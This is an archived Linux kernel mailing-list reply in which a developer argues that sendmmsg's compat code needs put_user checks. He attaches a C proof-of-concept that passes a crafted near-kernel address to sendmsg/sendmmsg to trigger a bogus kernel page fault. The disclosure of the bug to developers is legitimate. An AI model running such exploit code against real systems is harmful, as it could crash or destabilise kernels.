netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: Andy Lutomirski <luto@MIT.EDU>
To: David Miller <davem@davemloft.net>
Cc: drepper@gmail.com, netdev@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: Re: sendmmsg: put_user vs __put_user
Date: Thu, 05 Apr 2012 17:14:25 -0700	[thread overview]
Message-ID: <4F7E3561.8000803@mit.edu> (raw)
In-Reply-To: <20120330.205120.2221145622131588797.davem@davemloft.net>

On 03/30/2012 05:51 PM, David Miller wrote:
> From: Ulrich Drepper <drepper@gmail.com>
> Date: Fri, 30 Mar 2012 09:36:11 -0400
> 
>> Shouldn't the compat code in the sendmmsg implementation use the same
>> code as the normal code?  In which case you probably want something
>> like this:
> 
> Compat processes are not able to generate virtual addresses anywhere
> near the range where the kernel resides, so the address range
> verification done by put_user() is completely superfluous and
> therefore not necessary.  The normal exception handling done by the
> access is completely sufficient.

I disagree.  The following exploit causes a bogus page fault to a kernel
address.  I think this isn't exploitable right now on x86-64 because the
page fault handler fixes it up, but I wouldn't be surprised if this
crashes or at least warns on some architecture.  (Actually trashing
kernel memory is probably impossible with this on x86-64 chips because
this can only overrun user space by four bytes, and there's a giant gap
of impossible addresses above user space in x86-64.

Compile as 64 bit code.  Tested by instrumenting the page fault handler.

/* Not quite working exploit.  Copyright (c) 2012 Andy Lutomirski. */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdio.h>

#define COMPAT_MSGHDR_SIZE 28
#define TASK_SIZE_MAX	((1UL << 47) - 4096)
#define MSG_CMSG_COMPAT 0x80000000

int main()
{
	int s;
	struct sockaddr_in addr;
	struct msghdr *hdr;

	char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
	                      PROT_READ | PROT_WRITE,
	                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
	                      -1, 0);
	if (highpage == MAP_FAILED) {
		perror("mmap");
		return 1;
	}

	s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (s == -1) {
		perror("socket");
		return 1;
	}

        addr.sin_family = AF_INET;
        addr.sin_port = htons(1);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
		perror("connect");
		return 1;
	}

	void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
	printf("Evil address is %p\n", evil);

	// Purely for illustration.
	if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) {
		perror("sendmsg");
		return 1;
	}
	memset(highpage, 0, 4096);
	{
		int tmp;
		socklen_t sz;
		getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz);
	}

	if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) {
		perror("sendmmsg");
		return 1;
	}

	return 0;
}

  parent reply	other threads:[~2012-04-06  0:14 UTC|newest]

Thread overview: 6+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2012-03-30 13:36 sendmmsg: put_user vs __put_user Ulrich Drepper
2012-03-31  0:51 ` David Miller
2012-03-31 12:30   ` Ulrich Drepper
2012-03-31 21:27     ` David Miller
2012-04-06  0:14   ` Andy Lutomirski [this message]
2012-04-06  1:01     ` David Miller

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=4F7E3561.8000803@mit.edu \
    --to=luto@mit.edu \
    --cc=davem@davemloft.net \
    --cc=drepper@gmail.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).